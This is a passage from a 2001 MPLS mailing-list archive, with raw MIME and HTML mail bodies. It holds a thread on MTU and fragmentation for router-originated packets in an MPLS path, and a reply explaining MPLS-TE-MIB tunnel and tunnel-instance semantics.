> not  fragment the packets.=20
>=20
> I made a test with ICMP from PE1 to PE2, generating packets greater
than=20
> 1500 bytes, and i could see that packets were not being fragmented by
PE1.=20
> So, one question arises: What should be the correct behavior for IP
packets=20
> originated inside the router toward another router in a MPLS
environment:=20
> should it follow the interface MTU and fragment the packet or should
it=20
> ignore it and label switch the packet regardless of its lengh ?=20
>=20
>=20
> Regards,=20
> --=20
>=20
> Rodrigo Loureiro=20
> AT&T LA - Network Engineer=20

------=_NextPart_000_0068_01C15894.AF8704B0
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<html xmlns:o=3D"urn:schemas-microsoft-com:office:office" =
xmlns:w=3D"urn:schemas-microsoft-com:office:word" =
xmlns=3D"http://www.w3.org/TR/REC-html40">

<head>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Diso-8859-1">


<meta name=3DProgId content=3DWord.Document>
<meta name=3DGenerator content=3D"Microsoft Word 10">
<meta name=3DOriginator content=3D"Microsoft Word 10">
<link rel=3DFile-List href=3D"cid:filelist.xml@01C15894.33775FF0">
<title>RES: Problems w/ MTU</title>
<!--[if gte mso 9]><xml>
 <o:OfficeDocumentSettings>
  <o:DoNotRelyOnCSS/>
 </o:OfficeDocumentSettings>
</xml><![endif]--><!--[if gte mso 9]><xml>
 <w:WordDocument>
  <w:SpellingState>Clean</w:SpellingState>
  <w:GrammarState>Clean</w:GrammarState>
  <w:DocumentKind>DocumentEmail</w:DocumentKind>
  <w:EnvelopeVis/>
  <w:BrowserLevel>MicrosoftInternetExplorer4</w:BrowserLevel>
 </w:WordDocument>
</xml><![endif]-->
<style>
<!--
 /* Font Definitions */
 @font-face
	{font-family:Tahoma;
	panose-1:2 11 6 4 3 5 4 4 2 4;
	mso-font-charset:0;
	mso-generic-font-family:swiss;
	mso-font-pitch:variable;
	mso-font-signature:553679495 -2147483648 8 0 66047 0;}
 /* Style Definitions */
 p.MsoNormal, li.MsoNormal, div.MsoNormal
	{mso-style-parent:"";
	margin:0in;
	margin-bottom:.0001pt;
	mso-pagination:widow-orphan;
	font-size:12.0pt;
	font-family:"Times New Roman";
	mso-fareast-font-family:"Times New Roman";}
a:link, span.MsoHyperlink
	{color:blue;
	text-decoration:underline;
	text-underline:single;}
a:visited, span.MsoHyperlinkFollowed
	{color:blue;
	text-decoration:underline;
	text-underline:single;}
p
	{mso-margin-top-alt:auto;
	margin-right:0in;
	mso-margin-bottom-alt:auto;
	margin-left:0in;
	mso-pagination:widow-orphan;
	font-size:12.0pt;
	font-family:"Times New Roman";
	mso-fareast-font-family:"Times New Roman";}
span.EmailStyle18
	{mso-style-type:personal-reply;
	mso-style-noshow:yes;
	mso-ansi-font-size:10.0pt;
	mso-bidi-font-size:10.0pt;
	font-family:Arial;
	mso-ascii-font-family:Arial;
	mso-hansi-font-family:Arial;
	mso-bidi-font-family:Arial;
	color:navy;}
span.GramE
	{mso-style-name:"";
	mso-gram-e:yes;}
@page Section1
	{size:8.5in 11.0in;
	margin:1.0in 1.25in 1.0in 1.25in;
	mso-header-margin:.5in;
	mso-footer-margin:.5in;
	mso-paper-source:0;}
div.Section1
	{page:Section1;}
-->
</style>
<!--[if gte mso 10]>
<style>
 /* Style Definitions */=20
 table.MsoNormalTable
	{mso-style-name:"Table Normal";
	mso-tstyle-rowband-size:0;
	mso-tstyle-colband-size:0;
	mso-style-noshow:yes;
	mso-style-parent:"";
	mso-padding-alt:0in 5.4pt 0in 5.4pt;
	mso-para-margin:0in;
	mso-para-margin-bottom:.0001pt;
	mso-pagination:widow-orphan;
	font-size:10.0pt;
	font-family:"Times New Roman";}
</style>
<![endif]-->
</head>

<body lang=3DEN-US link=3Dblue vlink=3Dblue style=3D'tab-interval:.5in'>

<div class=3DSection1>

<p class=3DMsoNormal><font size=3D2 color=3Dnavy face=3DArial><span =
style=3D'font-size:
10.0pt;font-family:Arial;color:navy'>Rodrigo,<o:p></o:p></span></font></p=
>

<p class=3DMsoNormal><font size=3D2 color=3Dnavy face=3DArial><span =
style=3D'font-size:
10.0pt;font-family:Arial;color:navy'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 color=3Dnavy face=3DArial><span =
style=3D'font-size:
10.0pt;font-family:Arial;color:navy'>IP boxes should fragment if the =
offered IP
packet is greater than the MTU, provided the DF-Bit is not set.<span
style=3D'mso-spacerun:yes'>=A0 </span>If your box doesn&#8217;t do this, =
please
inquire with your vendor. <span =
style=3D'mso-spacerun:yes'>=A0</span>Please also
verify that <span class=3DGramE>your</span> DF (Don&#8217;t Fragment) =
but is not
set on the testing packets.<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 color=3Dnavy face=3DArial><span =
style=3D'font-size:
10.0pt;font-family:Arial;color:navy'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 color=3Dnavy face=3DArial><span =
style=3D'font-size:
10.0pt;font-family:Arial;color:navy'>I suspect that the issue has to do =
with
your MTU setting as the underlying L2 system adds bytes to the frame. =
<span
style=3D'mso-spacerun:yes'>=A0</span>Please experiment with the MTU =
setting and let&#8217;s
talk offline.<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 color=3Dnavy face=3DArial><span =
style=3D'font-size:
10.0pt;font-family:Arial;color:navy'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 color=3Dnavy face=3DArial><span =
style=3D'font-size:
10.0pt;font-family:Arial;color:navy'>Best,<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 color=3Dnavy face=3DArial><span =
style=3D'font-size:
10.0pt;font-family:Arial;color:navy'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 color=3Dnavy face=3DArial><span =
style=3D'font-size:
10.0pt;font-family:Arial;color:navy'>Alan<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 color=3Dnavy face=3DArial><span =
style=3D'font-size:
10.0pt;font-family:Arial;color:navy'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 color=3Dnavy face=3DArial><span =
style=3D'font-size:
10.0pt;font-family:Arial;color:navy'><o:p>&nbsp;</o:p></span></font></p>

<div style=3D'border:none;border-left:solid blue 1.5pt;padding:0in 0in =
0in 4.0pt'>

<p class=3DMsoNormal><font size=3D2 face=3DTahoma><span =
style=3D'font-size:10.0pt;
font-family:Tahoma'>-----Original Message-----<br>
<b><span style=3D'font-weight:bold'>From:</span></b> Loureiro, Rodrigo - =
(Bra)
[mailto:rodrigo.loureiro@attla.com] <br>
<b><span style=3D'font-weight:bold'>Sent:</span></b> Friday, October 19, =
2001
12:33 PM<br>
<b><span style=3D'font-weight:bold'>To:</span></b> 'Alan Hannan'<br>
<b><span style=3D'font-weight:bold'>Cc:</span></b> mpls@UU.NET;
mpls-ops@mplsrc.com<br>
<b><span style=3D'font-weight:bold'>Subject:</span></b> RES: Problems w/ =
MTU</span></font></p>

<p class=3DMsoNormal><font size=3D3 face=3D"Times New Roman"><span =
style=3D'font-size:
12.0pt'><o:p>&nbsp;</o:p></span></font></p>

<p><font size=3D2 face=3D"Times New Roman"><span =
style=3D'font-size:10.0pt'>Hi Alan,</span></font>
<o:p></o:p></p>

<p><font size=3D2 face=3D"Times New Roman"><span =
style=3D'font-size:10.0pt'>Thanks
for response.</span></font> <o:p></o:p></p>

<p><font size=3D2 face=3D"Times New Roman"><span =
style=3D'font-size:10.0pt'>I=B4m not
sure that PE routers will fragment the packets. The real proof of this =
is that
the maximum ICMP packet that i could transfer between PE1 and PE2, =
without set
the DF bit, was a 1506 bytes packet (1510 maximum feasible ethernet =
frame minus
4 label bytes). If fragmentation were being done in the PE1 POS, i =
should be
able to ping PE2 with any packet length, once POS is configured with a =
1500
bytes MTU. Also, i enabled a debug and i could see that packets greater =
than
1500 bytes were not being fragmented. </span></font><o:p></o:p></p>

<p><font size=3D2 face=3D"Times New Roman"><span =
style=3D'font-size:10.0pt'>My doubt
is: PE1 wants to send an IP packet to PE2, and this packet is being =
generated
by PE1. Once PE1 has an entry for PE2 in its LFIB, should it respect the =
IP MTU
and fragment the packet prior to label it, or should it ignore the IP =
MTU, as P
routers do w/ pure label switching ?</span></font><o:p></o:p></p>

<p class=3DMsoNormal><font size=3D3 face=3D"Times New Roman"><span =
style=3D'font-size:
12.0pt'><o:p>&nbsp;</o:p></span></font></p>

<p><font size=3D2 face=3D"Times New Roman"><span =
style=3D'font-size:10.0pt'>Regards,</span></font>
<br>
<font size=3D2><span style=3D'font-size:10.0pt'>--</span></font> =
<o:p></o:p></p>

<p><font size=3D2 face=3D"Times New Roman"><span =
style=3D'font-size:10.0pt'>Rodrigo</span></font>
<o:p></o:p></p>

<p class=3DMsoNormal><font size=3D3 face=3D"Times New Roman"><span =
style=3D'font-size:
12.0pt'><o:p>&nbsp;</o:p></span></font></p>

<p><font size=3D2 face=3D"Times New Roman"><span =
style=3D'font-size:10.0pt'>-----Mensagem
original-----</span></font> <br>
<font size=3D2><span style=3D'font-size:10.0pt'>De: Alan Hannan [<a
href=3D"mailto:alan@routingloop.com">mailto:alan@routingloop.com</a>]</sp=
an></font>
<br>
<font size=3D2><span style=3D'font-size:10.0pt'>Enviada em: sexta-feira, =
19 de
outubro de 2001 13:00</span></font> <br>
<font size=3D2><span style=3D'font-size:10.0pt'>Para: Loureiro, Rodrigo =
- (Bra)</span></font>
<br>
<font size=3D2><span style=3D'font-size:10.0pt'>Cc: mpls@UU.NET;
mpls-ops@mplsrc.com</span></font> <br>
<font size=3D2><span style=3D'font-size:10.0pt'>Assunto: Re: Problems w/ =
MTU</span></font>
<o:p></o:p></p>

<p class=3DMsoNormal style=3D'margin-bottom:12.0pt'><font size=3D3
face=3D"Times New Roman"><span =
style=3D'font-size:12.0pt'><o:p>&nbsp;</o:p></span></font></p>

<p><font size=3D2 face=3D"Times New Roman"><span =
style=3D'font-size:10.0pt'>&nbsp;
This is a known issue, operationally.</span></font> <o:p></o:p></p>

<p><font size=3D2 face=3D"Times New Roman"><span =
style=3D'font-size:10.0pt'>&nbsp;
You must set the MTU of your Layer 3 transmittal driver to be =
small</span></font>
<br>
<font size=3D2><span style=3D'font-size:10.0pt'>&nbsp; enough to allow =
needed Label
Stacking.&nbsp; I believe we set the MTU of</span></font> <br>
<font size=3D2><span style=3D'font-size:10.0pt'>&nbsp; much ethernet to =
1490 or so
to allow this, which also wreaks</span></font> <br>
<font size=3D2><span style=3D'font-size:10.0pt'>&nbsp; cosmetic habit =
with certain
syslog-alarm-happy boxes...</span></font> <o:p></o:p></p>

<p><font size=3D2 face=3D"Times New Roman"><span =
style=3D'font-size:10.0pt'>&nbsp; In
practice, most POS MTUs are 4470, not 1500, FWIW.</span></font> =
<o:p></o:p></p>

<p><font size=3D2 face=3D"Times New Roman"><span =
style=3D'font-size:10.0pt'>&nbsp;
The router should fragment, and it will, but the switch will =
drop.</span></font>
<o:p></o:p></p>

<p><font size=3D2 face=3D"Times New Roman"><span =
style=3D'font-size:10.0pt'>&nbsp;
-alan</span></font> <o:p></o:p></p>

<p><font size=3D2 face=3D"Times New Roman"><span =
style=3D'font-size:10.0pt'>Thus
spake Loureiro, Rodrigo - (Bra) =
(rodrigo.loureiro@attla.com)</span></font> <br>
<font size=3D2><span style=3D'font-size:10.0pt'>&nbsp;on or about Fri, =
Oct 19, 2001
at 02:32:59PM -0300:</span></font> <br>
<font size=3D2><span style=3D'font-size:10.0pt'>&gt; Hi =
all,</span></font> <br>
<font size=3D2><span style=3D'font-size:10.0pt'>&gt; </span></font><br>
<font size=3D2><span style=3D'font-size:10.0pt'>&gt; I am investigating =
a problem
with packet forwarding/switching in a MPLS</span></font> <br>
<font size=3D2><span style=3D'font-size:10.0pt'>&gt; scope regarding =
maximum
transfer unit, and i would like to share my doubts</span></font> <br>
<font size=3D2><span style=3D'font-size:10.0pt'>&gt; with =
you.</span></font> <br>
<font size=3D2><span style=3D'font-size:10.0pt'>&gt; </span></font><br>
<font size=3D2><span style=3D'font-size:10.0pt'>&gt; Imagine a four =
routers setup:
PE1, P1, P2 and PE2. PE1 is connected to P1</span></font> <br>
<font size=3D2><span style=3D'font-size:10.0pt'>&gt; via POS, P1 is =
connected to P2
via ATM and P2 is connected to PE2 via a</span></font> <br>
<font size=3D2><span style=3D'font-size:10.0pt'>&gt; FastEthernet =
cross-connection.
Imagine also that POS interface is configured</span></font> <br>
<font size=3D2><span style=3D'font-size:10.0pt'>&gt; with a 1500 bytes =
MTU, ATM
with 4470 bytes and FastEthernet with 1500 bytes</span></font> <br>
<font size=3D2><span style=3D'font-size:10.0pt'>&gt; (consider this =
hardware is
capable to generate Ethernet frames up to 1510</span></font> <br>
<font size=3D2><span style=3D'font-size:10.0pt'>&gt; bytes of payload =
for labeling
purposes). </span></font><br>
<font size=3D2><span style=3D'font-size:10.0pt'>&gt; </span></font><br>
<font size=3D2><span style=3D'font-size:10.0pt'>&gt; Now, consider that =
PE1 and PE2
has a MP-BGP session directly between them.</span></font> <br>
<font size=3D2><span style=3D'font-size:10.0pt'>&gt; Considering that =
BGP is
capable to generate messages up to 4096 bytes (RFC</span></font> <br>
<font size=3D2><span style=3D'font-size:10.0pt'>&gt; 1771), we should =
guarantee
that packets greater than 1500 bytes sent from</span></font> <br>
<font size=3D2><span style=3D'font-size:10.0pt'>&gt; PE1 toward PE2 are =
being
fragmented. Instead of this, the packets will be</span></font> <br>
<font size=3D2><span style=3D'font-size:10.0pt'>&gt; discarded in the =
FastEthernet
connection between P2 and PE2, once MPLS will</span></font> <br>
<font size=3D2><span style=3D'font-size:10.0pt'>&gt; not&nbsp; fragment =
the
packets. </span></font><br>
<font size=3D2><span style=3D'font-size:10.0pt'>&gt; </span></font><br>
<font size=3D2><span style=3D'font-size:10.0pt'>&gt; I made a test with =
ICMP from
PE1 to PE2, generating packets greater than</span></font> <br>
<font size=3D2><span style=3D'font-size:10.0pt'>&gt; 1500 bytes, and i =
could see
that packets were not being fragmented by PE1.</span></font> <br>
<font size=3D2><span style=3D'font-size:10.0pt'>&gt; So, one question =
arises: What
should be the correct behavior for IP packets</span></font> <br>
<font size=3D2><span style=3D'font-size:10.0pt'>&gt; originated inside =
the router
toward another router in a MPLS environment:</span></font> <br>
<font size=3D2><span style=3D'font-size:10.0pt'>&gt; should it follow =
the interface
MTU and fragment the packet or should it</span></font> <br>
<font size=3D2><span style=3D'font-size:10.0pt'>&gt; ignore it and label =
switch the
packet regardless of its lengh ?</span></font> <br>
<font size=3D2><span style=3D'font-size:10.0pt'>&gt; </span></font><br>
<font size=3D2><span style=3D'font-size:10.0pt'>&gt; </span></font><br>
<font size=3D2><span style=3D'font-size:10.0pt'>&gt; =
Regards,</span></font> <br>
<font size=3D2><span style=3D'font-size:10.0pt'>&gt; --</span></font> =
<br>
<font size=3D2><span style=3D'font-size:10.0pt'>&gt; </span></font><br>
<font size=3D2><span style=3D'font-size:10.0pt'>&gt; Rodrigo =
Loureiro</span></font>
<br>
<font size=3D2><span style=3D'font-size:10.0pt'>&gt; AT&amp;T LA - =
Network Engineer</span></font>
<o:p></o:p></p>

</div>

</div>

</body>

</html>

------=_NextPart_000_0068_01C15894.AF8704B0--



From owner-mpls@UU.NET  Fri Oct 19 15:25:28 2001
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA28860
	for <mpls-archive@lists.ietf.org>; Fri, 19 Oct 2001 15:25:28 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQllll02849;
	Fri, 19 Oct 2001 19:23:29 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQllll06702
	for mpls-outgoing; Fri, 19 Oct 2001 19:23:18 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQllll06692
	for <mpls@mail-control.ash.ops.us.uu.net>; Fri, 19 Oct 2001 19:23:16 GMT
Received: from cmr2.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQllll16578
	for <mpls@uu.net>; Fri, 19 Oct 2001 19:23:02 GMT
Received: from funnel.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: funnel.cisco.com [161.44.168.79])
	id QQllll26354
	for <mpls@uu.net>; Fri, 19 Oct 2001 19:23:19 GMT
Received: from erosen-u10.cisco.com (erosen-u10.cisco.com [161.44.134.50]) by funnel.cisco.com (8.8.5-Cisco.1/8.6.5) with ESMTP id PAA00346 for <mpls@uu.net>; Fri, 19 Oct 2001 15:23:02 -0400 (EDT)
Received: (erosen@localhost) by erosen-u10.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id PAA20167 for mpls@uu.net; Fri, 19 Oct 2001 15:23:01 -0400 (EDT)
Received: from imr1.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQllll06453
	for <mpls@mail-control.ash.ops.us.uu.net>; Fri, 19 Oct 2001 19:21:55 GMT
Received: from cmr2.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQllll11012
	for <mpls@UU.NET>; Fri, 19 Oct 2001 19:21:47 GMT
Received: from funnel.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: funnel.cisco.com [161.44.168.79])
	id QQllll23742
	for <mpls@UU.NET>; Fri, 19 Oct 2001 19:22:04 GMT
Received: from bucket.cisco.com (mirapoint@bucket.cisco.com [161.44.167.72]) by funnel.cisco.com (8.8.5-Cisco.1/8.6.5) with ESMTP id PAA00168; Fri, 19 Oct 2001 15:21:46 -0400 (EDT)
Received: from tnadeau-w2k.cisco.com (tnadeau-frame5.cisco.com [10.83.99.126])
	by bucket.cisco.com (Mirapoint)
	with ESMTP id ABA22000;
	Fri, 19 Oct 2001 15:21:44 -0400 (EDT)
Message-Id: <4.3.2.7.2.20011019145754.01b22008@bucket.cisco.com>
X-Sender: tnadeau@bucket.cisco.com
X-Mailer: QUALCOMM Windows Eudora Version 4.3.2
Date: Fri, 19 Oct 2001 15:22:47 -0400
To: "Choudhury, Sanjaya" <Sanjaya.Choudhury@marconi.com>
From: Thomas Nadeau <tnadeau@cisco.com>
Subject: Re: Few questions related to MPLS-TE-MIB: tunnels vs
  tunnelInstances
Cc: "'mpls@UU.NET'" <mpls@UU.NET>
In-Reply-To: <313680C9A886D511A06000204840E1CF8F4D8A@whq-msgusr-02.pit.c
 omms.marconi.com>
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="=====================_27666211==_.ALT"
Sender: owner-mpls@UU.NET
Precedence: bulk

--=====================_27666211==_.ALT
Content-Type: text/plain; charset="us-ascii"; format=flowed


         Hi Sanjaya,

>         Hi! I have few comments/questions related to the MPLS-TE-MIB.
>         Your help will be appreciated.
>
>         Q1. mplsTunnelTable represents two kind of concepts:Tunnel &
>         TunnelInstance.
>
>         It may make sense, to keep some of the attributes associated
>         with a tunnelInstance same, if they belong to the same tunnel.

         Yes. This is precisely why the tunnel instance can be used
to group together tunnel heads and their signaled instances. In cases
where an attribute does not make sense for an instance, it is noted
in the description of that object, and does have a known value like 0
indicating this state.

>         Is my assumption correct ? Is so, should there be two tables
>         : mplsTunnelTable & mplsTunneInstanceTable ?

         No. We chose to keep them in the same table in an effort to
keep things simple. Some implementations choose to make instance
0 the tunnel head/if, and the other instance entries the signaled instances
of the tunnel. Midpoints would not show instance 0, since the tunnel interface
does not exist there.

>         Q2. Specifically, what is the scope (tunnel or tunnelInstance)
>         of the following attribute ?
>
>                 a) mplsTunnelName - Should this be same for all tunnel
>                 instances, within a tunnel ?

         This is just the name of the tunnel. It is possible to name
the instances slightly differently so that you can distinguish them
that way, but the indexing does this explicitly too.

>                 b)mplsTunnelIfIndex - Do we have one ifIndex per
>                 tunnel or one ifIndex per tunnelInstance ?

         One ifIndex per tunnel head, but due to the nature of the MIB,
it is certainly possible to assign different ones to each instance. However,
in all of the implementations that I know of that use an ifIndex for a tunnel
head, the tunnel instances represent signaled (pre-signaled backups, make-
before-break, or actively) LSPs that run over an MPLS interface.

>                 [Does it make sense to create one ifIndex per
>                 tunnelInstance ???]
>
>         Q3. tunnelInstancePriority is valid ONLY within the context of
>         a tunnel.

         Yup.

>         Does this mean that two tunnelInstances that belong to two
>         _different_ tunnels (different tunnelIndex) should not be used
>         for load sharing even if the -IngressLSRId , EgressLSRId &
>         tunnelInstancePriority are same?

         I think that you can load share across two different
tunnels this way. In fact, I know that you can. Perhaps we
should just remove the sentence that mentions load-sharing, as it
seems confusing? The MIB does not specify how load-sharing takes
place other than  if two instances share the same priority and are active 
at the
same time (operStatus = up), it seems to make sense that they are being used
for load sharing. This makes sense too across tunnel heads, but also
make sense that the highest priority instances that are active be used
for load-sharing too. This is difficult to expose in the MPLS TE MIB, so I
don't think that load-sharing relationships per se should be represented in
there. The FTN MIB is really where you specify how load sharing is taking
place since it is really a FTN relationship you are trying to expose.

>         * It may be helpful to add a little more text to the draft,
>indicating  when should the user create a new tunnelInstance, instead
>of new tunnel.

         Certainly.

         --Tom




------------------------------------------------------------------------
Mathematics is the supreme nostalgia of our time. 
--=====================_27666211==_.ALT
Content-Type: text/html; charset="us-ascii"

<html>
<font size=3><br>
<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>Hi
Sanjaya,<br>
<br>
<blockquote type=cite cite><x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>Hi!
I have few comments/questions related to the MPLS-TE-MIB.<br>
<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>Your help
will be appreciated.<br>
<br>
<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>Q1.
mplsTunnelTable represents two kind of concepts:Tunnel &amp; <br>
<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>TunnelInstance.
<br>
<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab><br>
<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>It may
make sense, to keep some of the attributes associated<br>
<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>with a
tunnelInstance same, if they belong to the same
tunnel.</font></blockquote><br>
<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>Yes. This
is precisely why the tunnel instance can be used<br>
to group together tunnel heads and their signaled instances. In
cases<br>
where an attribute does not make sense for an instance, it is noted<br>
in the description of that object, and does have a known value like
0<br>
indicating this state.<br>
<br>
<blockquote type=cite cite><font size=3><x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>Is
my assumption correct ? Is so, should there be two tables<br>
<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>:
mplsTunnelTable &amp; mplsTunneInstanceTable ?</font></blockquote><br>
<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>No. We
chose to keep them in the same table in an effort to<br>
keep things simple. Some implementations choose to make instance <br>
0 the tunnel head/if, and the other instance entries the signaled
instances <br>
of the tunnel. Midpoints would not show instance 0, since the tunnel
interface <br>
does not exist there.<br>
<br>
<blockquote type=cite cite><font size=3><x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>Q2.
Specifically, what is the scope (tunnel or tunnelInstance)<br>
<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>of the
following attribute ?<br>
<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab><br>
<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab><x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>a)
mplsTunnelName - Should this be same for all tunnel <br>
<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab><x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>instances,
within a tunnel ?</font></blockquote><br>
<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>This is
just the name of the tunnel. It is possible to name<br>
the instances slightly differently so that you can distinguish them<br>
that way, but the indexing does this explicitly too.<br>
<br>
<blockquote type=cite cite><font size=3><x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab><x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>b)mplsTunnelIfIndex
- Do we have one ifIndex per <br>
<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab><x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>tunnel
or one ifIndex per tunnelInstance ? </font></blockquote><br>
<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>One
ifIndex per tunnel head, but due to the nature of the MIB,<br>
it is certainly possible to assign different ones to each instance.
However,<br>
in all of the implementations that I know of that use an ifIndex for a
tunnel<br>
head, the tunnel instances represent signaled (pre-signaled backups,
make-<br>
before-break, or actively) LSPs that run over an MPLS interface.<br>
<br>
<blockquote type=cite cite><font size=3><x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab><x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>[Does
it make sense to create one ifIndex per <br>
<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab><x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>tunnelInstance
???]<br>
<br>
<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>Q3.
tunnelInstancePriority is valid ONLY within the context of <br>
<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>a tunnel.
</font></blockquote><br>
<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>Yup.<br>
<br>
<blockquote type=cite cite><font size=3><x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>Does
this mean that two tunnelInstances that belong to two<br>
<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>_different_
tunnels (different tunnelIndex) should not be used<br>
<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>for load
sharing even if the -IngressLSRId , EgressLSRId &amp; <br>
<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>tunnelInstancePriority
are same?</font></blockquote><br>
<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>I think
that you can load share across two different<br>
tunnels this way. In fact, I know that you can. Perhaps we<br>
should just remove the sentence that mentions load-sharing, as it<br>
seems confusing? The MIB does not specify how load-sharing takes <br>
place other than&nbsp; if two instances share the same priority and are
active at the <br>
same time (operStatus = up), it seems to make sense that they are being
used <br>
for load sharing. This makes sense too across tunnel heads, but 
also<br>
make sense that the highest priority instances that are active be
used<br>
for load-sharing too. This is difficult to expose in the MPLS TE MIB, so
I<br>
don't think that load-sharing relationships per se should be represented
in <br>
there. The FTN MIB is really where you specify how load sharing is taking
<br>
place since it is really a FTN relationship you are trying to
expose.<br>
<br>
<blockquote type=cite cite><font size=3><x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>*
It may be helpful to add a little more text to the draft,<br>
indicating&nbsp; when should the user create a new tunnelInstance,
instead <br>
of new
tunnel.</font></blockquote><x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab><br>
<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>Certainly.<br>
<br>
